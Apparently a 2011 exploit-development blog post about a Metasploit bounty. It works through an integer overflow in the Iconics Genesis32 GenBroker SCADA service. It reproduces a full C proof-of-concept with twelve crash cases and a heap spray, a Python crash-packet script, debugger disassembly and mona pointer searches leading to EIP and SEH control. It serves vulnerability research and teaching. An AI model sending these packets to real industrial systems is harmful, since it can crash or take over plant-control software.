13,387 views
Metasploit Bounty – the Good, the Bad and the Ugly
Table of Contents
Introduction
Metasploit Bounty program
On June 14, 2011 HD Moore announced the Metasploit Bounty contest, offering a cash incentive for specific vulnerabilities to be submitted as modules in the Metasploit Framework. Titled “30 exploits, $5000 in 5 weeks”, a post on the Rapid7 blog lists the 30 “bounties” selected by the MSF team, waiting for someone to claim and submit a working exploit module.
Each exploit for a vulnerability listed in the top 5 list was worth USD $500, the other 25 exploits were worth USD $100 each. The deadline to submit a functional Metasploit module, bypassing ASLR and DEP where applicable, was set to July 20th.
Sounds like fun, so I decided to give it a try and claimed one of the vulnerabilities from the top 25 list.
The bounty contest is now closed , so I decided to share my version of the “code, sweat and tears” that were required to produce a reliable exploit.
Vulnerability
Initial discovery
The challenge I selected is based on a series of vulnerabilities (13! advisories) discovered by Luigi Auriemma, in Iconics Genesis32 (<= 9.21) and Genesis64 (<= 10.51). For the record, my exploit targets Genesis32. The Iconics website states :
For 32-bit platforms, ICONICS is committed to providing product improvements and added functionality to the GENESIS32 suite of HMI/SCADA and advanced visualization solutions for many years to come. With GENESIS32 and GENESIS64, ICONICS connects your plant-level operations to the enterprise, turning your real-time data into competitive advantage.
Genesis is a HMI (Human Machine Interface) application, typically used to visualize data and provide a GUI to operators to monitor and manage various processes.
The advisory reports that the GenBroker service, running on tcp port 38080, is vulnerable to an integer overflow during the handling of opcodes 3f0, 138F,1390,1391,1392,1393,1394, 1C86, 89a,89b, 450,451,454,455, 1C20,1C24.
According to some of the report, when using a specially crafted packet, you can influence the size of a memory allocation needed for the creation of an array, resulting in memory corruption.
The vulnerable function
Let’s take a quick look at the vulnerable code in one of the advisories:
0044AC26 |. E8 45C5FCFF CALL 00417170 ; get 32bit 0044AC2B |. 8B45 00 MOV EAX,DWORD PTR SS:[EBP] 0044AC2E |. C1E0 02 SHL EAX,2 ; * 4 0044AC31 |. 50 PUSH EAX 0044AC32 |. E8 81C50500 CALL#265> ; malloc ... 0044AC95 |. 8B47 28 MOV EAX,DWORD PTR DS:[EDI+28] 0044AC98 |. C1E0 02 SHL EAX,2 ; * 4 0044AC9B |. 50 PUSH EAX 0044AC9C |. C74424 20 020>MOV DWORD PTR SS:[ESP+20],2 0044ACA4 |. E8 0FC50500 CALL #265> ; malloc ... 0044ACE9 |> 8B47 30 MOV EAX,DWORD PTR DS:[EDI+30] 0044ACEC |. C1E0 02 SHL EAX,2 ; * 4 0044ACEF |. 50 PUSH EAX 0044ACF0 |. E8 C3C40500 CALL #265> ; malloc
Apparently no check is performed on the value read from the packet before multiplying it and using it as an argument to malloc() functions. This leads to memory corruption, which can lead to code execution. Up to me to prove that code execution is possible and reliable.
Obtaining & installing the software
One of the most heard comment from other msf bounty hunters was that it didn’t seem to be trivial to obtain a copy of the vulnerable version of the application (or even ‘a’ copy of the application for that matter), my case was no exception. But luckily, I was able to get my hands on it, and managed to perform a default installation on my VM.
The installer drops files in 3 locations :
- C:\Program Files\ICONICS : files related with the Licensing component
- C:\Program Files\Common Files\ICONICS : application/service files
- C:\Windows\System32 : TraceWorX.dll and GenClientU.dll
During the installation, I was prompted to either select an existing administrator user or to create a new one (ICONICS_USER) and have it added automatically to the administrators group. This account is used to run the genbroker.exe service.
PoC – triggering the overflow
The advisory contains a link to a zip file, which contains the following source code, providing poc packets for 12 cases :
/* by Luigi Auriemma */ #include#include #include #include #include <time.h> #ifdef WIN32 #include #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER "0.1" #define PORT 38080 #define BUFFSZ 0x2000 // 0x4000 is the max but 0x2000 seems more compatible int send_gen(int sd, int type, u8 *data, int datasz); int putss(u8 *data, u8 *str); int putmm(u8 *data, u8 *str, int size); int putcc(u8 *data, int chr, int size); int putxx(u8 *data, u32 num, int bits); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct linger ling = {1,1}; struct sockaddr_in peer; int sd, i, bug, type; u16 port = PORT; u8 *host, *buff, *fill, *p, *f; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "GenBroker <= 9.21.201.01 multiple integer overflows "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s " "\n" "Bugs:\n" " refer to the relative advisories for the available numbers\n" " and what vulnerabilities they test\n" "\n", argv[0], port); exit(1); } bug = atoi(argv[1]); host = argv[2]; if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); buff = malloc(BUFFSZ); if(!buff) std_err(); p = buff; switch(bug) { case 1: { type = 0x89a; p += putxx(p, 0, 32); p += putxx(p, 0x2000, 16); p += putxx(p, 0x20000001, 32); p += putxx(p, 0, 32); break; } case 2: { type = 0x453; p += putss(p, NULL); p += putss(p, NULL); p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 16); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0x40000001, 32); break; } case 3: { type = 0x4b0; p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0x40000001, 32); break; } case 4: { type = 0x4b2; p += putxx(p, 0x40000001, 32); break; } case 5: { type = 0x4b5; p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putxx(p, 0, 32); p += putxx(p, 0x40000001, 32); break; } case 6: { type = 0x7d0; p += putss(p, NULL); p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putxx(p, 0x40000001, 32); break; } case 7: { type = 0xDAE; p += putxx(p, 0x40000001, 32); break; } case 8: { type = 0xfa4; p += putxx(p, 0x20000001, 32); break; } case 9: { type = 0xfa7; p += putxx(p, 0x40000001, 32); break; } case 10: { type = 0x1bbc; p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putss(p, NULL); p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0x40000001, 32); break; } case 11: { type = 0x1c84; p += putss(p, NULL); p += putss(p, NULL); p += putxx(p, 0, 32); p += putxx(p, 0x10000001, 32); break; } case 12: { type = 0x26AC; p += putxx(p, 0x40000001, 32); break; } default: { printf("\nError: invalid bug number %d\n", bug); exit(1); break; } } p += putcc(p, 0x41, BUFFSZ - (p - buff)); // good as string size too // send_gen automatically adjusts the size to 0x1ff4 // the following part is not needed so can be removed printf("- heap spray packets: "); fill = malloc(BUFFSZ); if(!fill) std_err(); f = fill; f += putxx(f, 340, 32); f += putss(f, "parameter"); f += putss(f, "value"); for(i = 0; i < 340; i++) { f += putss(f, "AAAA"); f += putss(f, "AAAA"); f += putxx(f, 0x41414141, 32); f += putxx(f, 0x41414141, 32); f += putxx(f, 0x41414141, 32); } for(i = 0; i < 20; i++) { fputc('.', stdout); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err(); send_gen(sd, 0x4b2, fill, f - fill); close(sd); } printf("\n"); printf("- malformed packets: "); for(i = 0; i < 10; i++) { fputc('.', stdout); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err(); send_gen(sd, type, buff, p - buff); close(sd); } printf("\n"); printf("- done\n"); return(0); } int send_gen(int sd, int type, u8 *data, int datasz) { static u8 buff[BUFFSZ]; static int pck = 1; int t; u8 *p; t = 4 + 4 + 4 + datasz; if(t > (BUFFSZ - 12)) t = BUFFSZ - 12; p = buff; p += putxx(p, 1, 16); p += putxx(p, htons(pck++), 16); p += putxx(p, htonl(1), 32); p += putxx(p, htonl(t), 32); p += putxx(p, 1, 32); p += putxx(p, 0, 32); p += putxx(p, type, 32); if(datasz > 0) p += putmm(p, data, datasz); if(send(sd, buff, p - buff, 0) < 0) return(-1); return(0); } int putss(u8 *data, u8 *str) { int len; u8 *p; len = 0; if(str) len = strlen(str); p = data; if(len < 0xff) { p += putxx(p, len, 8); } else { p += putxx(p, 0xff, 8); p += putxx(p, len, 16); } p += putmm(p, str, len); return(p - data); } int putmm(u8 *data, u8 *str, int size) { if(size < 0) size = strlen(str); memcpy(data, str, size); return(size); } int putcc(u8 *data, int chr, int size) { memset(data, chr, size); return(size); } int putxx(u8 *data, u32 num, int bits) { int i, bytes; bytes = bits >> 3; for(i = 0; i < bytes; i++) { //data[i] = num >> ((bytes - 1 - i) << 3); data[i] = num >> (i << 3); } return(bytes); } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); } u32 resolv(char *host) { struct hostent *hp; u32 host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif [port(%d)]\n
The code provides a PoC overflow for 12 cases. I tried running each case & observed the crashes for each of the cases :
- Case 1 : read access violation
- Case 2 : read access violation in call [EDX] at 004359E9 (reading 41414141). This might be interesting.
- Case 3 : EIP = CCCCCCCC . Very very interesting
- Case 4 : read access violation
- Case 5 : read access violation
- Case 6 : same result as case 2
- Case 7 : read access violation
- Case 8 : write access violation (write value we control to location we don’t seem to control). Still might be interesting (4 byte arbitrary write ?)
- Case 9 : same result as case 8
- Case 10 : read access violation
- Case 11 : write access violation (INC instruction, writing to [EAX+10], which we control).
- Case 12 : read access violation in call [eax+58]. We control EAX, so this might be very interesting.
Based on my observations, I decided to start working on the packet produced by case 3, because it gave us direct control over EIP, we could see pointers to our payload on the stack, and we have at least one register pointing into the payload. Although case 12 also would provide us with direct control over EIP, there are less obvious pointers to payload on the stack.
Summarizing case 3, the packet would need to contain the following specifications.
- opcode 0x4b0
- value of 0x40000001
- a bunch of A’s
Although the POC code contained a “heap spray” (basically sending a bunch of packets with A’s prior to sending the ‘kill’ packet), I discovered that loading the payload inside the kill packet allows us to access that payload as well.
A basic python script to reproduce this case, based on sniffing traffic, looks like this :
#!/usr/bin/python # lincoln - lincoln@corelan.be # import socket,sys,struct header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01" header += "\x00" * 7 opcode = "\xb0\x04" header2 = "\x00" * 36 header3 = "\x01\x00\x00\x40" buffer = "A" * 10000 payload = header + opcode + header2 + header3 + buffer def sploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 38080)) print "[+] Kill packet sent!\n" s.send(payload) s.close() if __name__ == '__main__': try: sploit() except: print "error" sys.exit(0)
As explained before, after throwing this packet to the GenBroker.exe service, we call MFC71U.ATL::CSimpleStringT() at 0x7c274B92 and then end up executing 0x7c274BF8 (MFC71U.CAfxStringMgr::Allocate())
After 4 allocations, the code ends up running a routine at 7c25D069 (see later) 2 times.
Next, another series of allocations are made. During the second attempt, in MFC71U.ATL::CSimpleStringT(), we notice that we try to call a function at [EAX+10].
EAX+10 points into a vtable inside mfc71u.dll (contents during normal operation) :
MFC71U!ATL::CSimpleStringT::Fork+0x1a: 7c274bac ff5010 call dword ptr [eax+10h] ds:0023:7c26a150={MFC71U!CAfxStringMgr::Clone (7c274b57)} 0:005> ln eax+10 (7c26a140) MFC71U!CAfxStringMgr::`vftable'+0x10 | (7c26a154) MFC71U!CAfxStringMgr::`RTTI Complete Object Locator'
vtable :
7c274bf8 : mfc71u!CAfxStringMgr::Allocate() 7c27c9b2 : mfc71u!CAfxStringMgr__Free() 7c27dc90 : mfc71u!CAfxStringMgr__Reallocate() 7c274b49 : mfc71u!CAfxStringMgr::GetNilString() 7c274b57 : mfc71u!CAfxStringMgr::Clone()
Using our simple packet, using 10000 A’s as payload, we seem to have overwritten the pointer to the vtable (EAX) with unicode “AA” (part of our payload). At EAX+10 we see “CC CC CC CC” (see dump window in the lower left half of the screen)
Obviously, this call leads to EIP control :
That’s good enough :)
We managed to control EIP and we can see pointers to our payload on the stack. The advisory also explains that there are many ways to trigger corruption, and maybe changing the payload itself (10000 A’s in our case) will change the flow of the application too.
So it appears we own some part of the program…but can we make it further than this?
Something’s to consider is our pointer is in unicode (EAX = 00410041), which will considerably shrink the amount of pointers we have available to use. Not only are we limited in our selection but we essentially need to find a pointer to a pointer, because EAX is populated by reading ECX earlier on
7C274B99 . 8B31 MOV ESI,DWORD PTR DS:[ECX] 7C274B9B . 8B5E F4 MOV EBX,DWORD PTR DS:[ESI-C] 7C274B9E . 83EE 10 SUB ESI,10 7C274BA1 . 894D F8 MOV DWORD PTR SS:[EBP-8],ECX 7C274BA4 . 8B0E MOV ECX,DWORD PTR DS:[ESI] 7C274BA6 . 8B01 MOV EAX,DWORD PTR DS:[ECX] 7C274BA8 . 57 PUSH EDI 7C274BA9 . 895D FC MOV DWORD PTR SS:[EBP-4],EBX 7C274BAC . FF50 10 CALL DWORD PTR DS:[EAX+10]
Since we are calling the data segment of a pointer we are loading the op code or bytes at that location into EIP.
Lets look at that more in detail using an sample pointer (one that we put in ourselves at runtime). Besides the fact that our ‘test’ pointer is not unicode we will use it simply for an example to see what EIP will look like after the call [EAX + 10] is made.
If we use a pointer at 0x0041AAD5, it will lead to “ADD ESP, 0C # RETN”.
If we subtract 0x10 from that pointer (to compensate for EAX + 10) we are left with 0x0041AAC5.
Let’s go ahead and rerun our code and put a break point at the call (bp at 7C274BAC). Then we will change EAX into 0x0041AAC5 and execute the call.
DS:[0041AAD5]=C30CC483
If we look at the picture we can see that instead of our “ADD ESP, 0C # RETN” we landed at the opcode or bytes of that pointer. If we take into account the little endian of our bytes we see that \xc3\x0c\xc4\x83”, which is the opcode for the “add esp,0c/retn” gadget has become our pointer! So we need to keep this into consideration when we begin looking for a pointer that we will need to use for the call. It basically means we need to find a pointer to the pointer.
Also : since we control what is being copied over, perhaps we might be able to find different flows that lead us to different calls.
Before we move any further lets go ahead and look at our modules, basically enumerating what is available to us when looking for pointers.
Analysis
Module analysis, safeseh, rebase
Running “!mona modules” in Immunity Debugger will give us some great information with what were not only up against in terms of limitations but also what we can what modules we can work with.
0BADF00D ---------------------------------------------------------------------------------------------------------------------------------- 0BADF00D Module info : 0BADF00D ---------------------------------------------------------------------------------------------------------------------------------- 0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path 0BADF00D ---------------------------------------------------------------------------------------------------------------------------------- 0BADF00D 0x002f0000 | 0x00346000 | 0x00056000 | True | True | False | False | True | 7.10.3052.4 [MSVCR71.dll] (C:\WINDOWS\system32\MSVCR71.dll) 0BADF00D 0x74980000 | 0x74aa3000 | 0x00123000 | False | True | False | False | True | 8.100.1052.0 [msxml3.dll] (C:\WINDOWS\system32\msxml3.dll) 0BADF00D 0x77a80000 | 0x77b15000 | 0x00095000 | False | True | False | False | True | 5.131.2600.5512 [CRYPT32.dll] (C:\WINDOWS\system32\CRYPT32.dll) 0BADF00D 0x76f20000 | 0x76f47000 | 0x00027000 | False | True | False | False | True | 5.1.2600.6089 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll) 0BADF00D 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False | True | False | False | True | 5.1.2600.5781 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll) 0BADF00D 0x76780000 | 0x76789000 | 0x00009000 | False | True | False | False | True | 6.00.2900.5512 [SHFOLDER.dll] (C:\WINDOWS\system32\SHFOLDER.dll) 0BADF00D 0x7c3a0000 | 0x7c41b000 | 0x0007b000 | False | True | False | False | True | 7.10.3077.0 [MSVCP71.dll] (C:\WINDOWS\system32\MSVCP71.dll) 0BADF00D 0x7c900000 | 0x7c9b2000 | 0x000b2000 | False | True | False | False | True | 5.1.2600.6055 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll) 0BADF00D 0x71a90000 | 0x71a98000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll) 0BADF00D 0x00290000 | 0x002bf000 | 0x0002f000 | True | False | False | False | True | 9.20.200.49 [TraceWorX.DLL] (C:\WINDOWS\system32\TraceWorX.DLL) 0BADF00D 0x76fc0000 | 0x76fc6000 | 0x00006000 | False | True | False | False | True | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll) 0BADF00D 0x77fe0000 | 0x77ff1000 | 0x00011000 | False | True | False | False | True | 5.1.2600.5834 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll) 0BADF00D 0x71ad0000 | 0x71ad9000 | 0x00009000 | False | True | False | False | True | 5.1.2600.5512 [WSOCK32.dll] (C:\WINDOWS\system32\WSOCK32.dll) 0BADF00D 0x71aa0000 | 0x71aa8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll) 0BADF00D 0x774e0000 | 0x7761e000 | 0x0013e000 | False | True | False | False | True | 5.1.2600.6010 [ole32.dll] (C:\WINDOWS\system32\ole32.dll) 0BADF00D 0x77f60000 | 0x77fd6000 | 0x00076000 | False | True | False | False | True | 6.00.2900.5912 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll) 0BADF00D 0x662b0000 | 0x66308000 | 0x00058000 | False | True | False | False | True | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll) 0BADF00D 0x7e410000 | 0x7e4a1000 | 0x00091000 | False | True | False | False | True | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll) 0BADF00D 0x01080000 | 0x0108f000 | 0x0000f000 | True | True | False | False | True | 9.20.200.49 [MwxPS.dll] (C:\WINDOWS\system32\MwxPS.dll) 0BADF00D 0x64d00000 | 0x64d34000 | 0x00034000 | False | True | False | True | False | 6.0.1203.0 [snxhk.dll] (C:\Program Files\AVAST Software\Avast\snxhk.dll) 0BADF00D 0x71b20000 | 0x71b32000 | 0x00012000 | False | True | False | False | True | 5.1.2600.5512 [MPR.dll] (C:\WINDOWS\system32\MPR.dll) 0BADF00D 0x002c0000 | 0x002e7000 | 0x00027000 | True | True | False | False | True | 9.20.200.49 [UnifiedSetupStorage.dll] (C:\WINDOWS\system32\UnifiedSetupStorage.dll) 0BADF00D 0x7c250000 | 0x7c352000 | 0x00102000 | False | True | False | False | True | 7.10.3077.0 [MFC71U.DLL] (C:\WINDOWS\system32\MFC71U.DLL) 0BADF00D 0x5ad70000 | 0x5ada8000 | 0x00038000 | False | True | False | False | True | 6.00.2900.5512 [uxtheme.dll] (C:\WINDOWS\system32\uxtheme.dll) 0BADF00D 0x10000000 | 0x10186000 | 0x00186000 | False | True | False | False | True | 9.21.201.02 [GenClientU.dll] (C:\WINDOWS\system32\GenClientU.dll) 0BADF00D 0x77120000 | 0x771ab000 | 0x0008b000 | False | True | False | False | True | 5.1.2600.6058 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll) 0BADF00D 0x00400000 | 0x0085f000 | 0x0045f000 | False | True | False | False | False | 9.21.201.01 [GenBroker.exe] (C:\Program Files\Common Files\ICONICS\GenBroker.exe) 0BADF00D 0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False | True | False | False | True | 6.00.2900.6072 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll) 0BADF00D 0x77e70000 | 0x77f03000 | 0x00093000 | False | True | False | False | True | 5.1.2600.6022 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll) 0BADF00D 0x00bf0000 | 0x00eb5000 | 0x002c5000 | True | True | False | False | True | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll) 0BADF00D 0x76fd0000 | 0x7704f000 | 0x0007f000 | False | True | False | False | True | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL) 0BADF00D 0x773d0000 | 0x774d3000 | 0x00103000 | False | True | False | False | True | 6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll) 0BADF00D 0x76390000 | 0x763ad000 | 0x0001d000 | False | True | False | False | True | 5.1.2600.5512 [IMM32.DLL] (C:\WINDOWS\system32\IMM32.DLL) 0BADF00D 0x76fb0000 | 0x76fb8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll) 0BADF00D 0x77050000 | 0x77115000 | 0x000c5000 | False | True | False | False | True | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll) 0BADF00D 0x76f60000 | 0x76f8c000 | 0x0002c000 | False | True | False | False | True | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll) 0BADF00D 0x76d60000 | 0x76d79000 | 0x00019000 | False | True | False | False | True | 5.1.2600.5512 [iphlpapi.dll] (C:\WINDOWS\system32\iphlpapi.dll) 0BADF00D 0x71a50000 | 0x71a8f000 | 0x0003f000 | False | True | False | False | True | 5.1.2600.5625 [mswsock.dll] (C:\WINDOWS\System32\mswsock.dll) 0BADF00D 0x77f10000 | 0x77f59000 | 0x00049000 | False | True | False | False | True | 5.1.2600.5698 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll) 0BADF00D 0x77b20000 | 0x77b32000 | 0x00012000 | False | True | False | False | True | 5.1.2600.5875 [MSASN1.dll] (C:\WINDOWS\system32\MSASN1.dll) 0BADF00D 0x77c10000 | 0x77c68000 | 0x00058000 | False | True | False | False | True | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll) 0BADF00D 0x77c00000 | 0x77c08000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll) 0BADF00D 0x77dd0000 | 0x77e6b000 | 0x0009b000 | False | True | False | False | True | 5.1.2600.5755 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll) 0BADF00D 0x71ab0000 | 0x71ac7000 | 0x00017000 | False | True | False | False | True | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll) 0BADF00D ----------------------------------------------------------------------------------------------------------------------------------
We can see that the only obvious module that might contains unicode pointers is the main application, GenBroker.exe.
This module has no aslr and is not going to be get rebased, but it is SafeSEH enabled.
The other 2 unicode modules are affected by rebasing the virtual memory base address range.
We might be able to take advantage of unicode conversions too, but all in all, this leaves us with not that many options.
Anyways, let’s try to find a unicode pointer to put in eax and see how far we get with that.
Solution I
Since we have to find a pointer to a pointer in GenBroker.exe some manual discovery was done here. Since our address range is from 0x00400000 to 0x0085f000 and we have to find a unicode data segment pointer, there was an easy way to search for those pointers with mona.py. If we could search each address range with the bytes of that address we could see what pointers we could find in GenBroker.exe.
For example we will run
!mona find -s "\x44\x00" -cp unicode –m GenBroker.exe
we can find pointers that contain the opcode or data bytes of possible unicode pointers.
0x00450056 : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045005a : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045005e : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450062 : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450066 : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045007a : "\x44\x00" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045007e : "\x44\x00" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450082 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450086 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045008a : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045008e : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450092 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450096 : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045009a : "\x44\x00" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450152 : "\x44\x00" | startnull,unicode ansi transformed : 0045008C, / alternatives (close pointers) : 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x00450156 : "\x44\x00" | startnull,unicode possible ansi transform(s) : 0045008C->00450152 / 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe] 0x0045015a : "\x44\x00" | startnull,unicode possible ansi transform(s) : 0045008C->00450152 / 0045009C->00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]
Most of these turned out to be pointers from the IAT in GenBroker.exe, so we could essentially take advantage of the byes in these address locations for our call [EAX +10]. All we would need to do is see where these pointers actually take us and if they can be utilized to get to our buffer.
00450054 . F8F74400 DD GenBroke.0044F7F8 ; Switch table used at 0044F7D4 00450058 . 15F84400 DD GenBroke.0044F815 0045005C . 32F84400 DD GenBroke.0044F832 00450060 . DBF74400 DD GenBroke.0044F7DB 00450064 . F1FC4400 DD GenBroke.0044FCF1
Looking at 0x0044FCF1 we see something interesting.
0044FCF1 |> 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] ; Default case of switch 0044F579 0044FCF5 |. 5F POP EDI 0044FCF6 |. 5E POP ESI 0044FCF7 |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX 0044FCFE |. 5B POP EBX 0044FCFF |. 83C4 0C ADD ESP,0C 0044FD02 \. C2 0400 RETN 4
If we look at the stack setup we see that ESP + C points to our buffer and will load ECX with that location.
$ ==> > 7C274BAF ¯K'| RETURN to MFC71U.7C274BAF $+4 > 016CFDF8 øýl $+8 > 00000041 A... $+C > 016CFCB4 ´ül ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
That means that “MOV ECX,DWORD PTR SS:[ESP+C]” will load ECX with our buffer. The next interesting function is :
0044FCF7 |. 64:890D 000000>MOV DWORD PTR FS:[0],ECX
A pointer to the first entry in the SEH chain on the stack is located at [TEB + 0]. Since ECX contains our buffer we can essentially create a new SEH chain. The pointer of ECX also happens to be the top of the stack we control from our memcpy(). Lets go ahead and run our code again and manually put 0x0044FCF1 into EAX once EIP is overwritten and single step through the program in the debugger. Once we step over 0X044FCF7 we can see that we now control SEH on our stack.
So essentially with that pointer I was able to control our EIP data call (if we had put 0x00450054 into EAX before our call [EAX + 10]) and change this to an SEH exploit.
The good news is that we can choose an SEH pointer that is ascii and not unicode, the bad news is all modules except for one have safeseh enabled! The one module that does not have safeseh enabled is flagged for rebasing. However, that doesn’t mean that the module is rebased or that we can not find similar pointers amongst other machines. Peter and I compared our possible SEH pointers and we found some in common. Being that our machines and XP copies are different this potentially means that we could make this exploit generic.
However, after submitting to the Metasploit this proved false and _sinn3r was unable to get code execution as the SEH pointer was rebased on his testing box.
After manually searching through all the unicode pointers in GenBroker.exe I was unable to find one useful that would return to my buffer on the stack.
Back to the drawing board.
Many roads to EIP
Although case 12 also indicated a way to potentially get control over EIP, I decided to stick with my current poc for a while, because I’m convinced the payload itself (A’s at this point) might influence the behaviour of the application flow.
So basically, we still may be able to control a different flow in the application by changing parts of the buffer. It was time to go back a step and look at our memcpy()’s and how different payload would lead to overwriting different parts (and thus leading to a different flow)
I realize I was able to overwrite different pointers if I didn’t use a long buffer of just “A”s. Here are two other flows we can control EIP with. If we look at our call stack when doing the following buffer setups we can successfully control two different flows.
7C27DC7C FF52 08 CALL DWORD PTR DS:[EDX+8]
buffer = "\x41" * 360 buffer+= "B" * 10000
7C27C9AA FF52 04 CALL DWORD PTR DS:[EDX+4]
buffer = "\x41" * 360 buffer+= "\xff" * 10000
In each of the calls, we control EDX and our stack setup was different with each flow.
It was time to go back and look at my unicode pointers in GenBroker.exe again and see if I can take advantage of any of them.
Solution II – call [edx+8]
If we go the route of call [edx + 8] we can see our stack setup looks a little different this time.
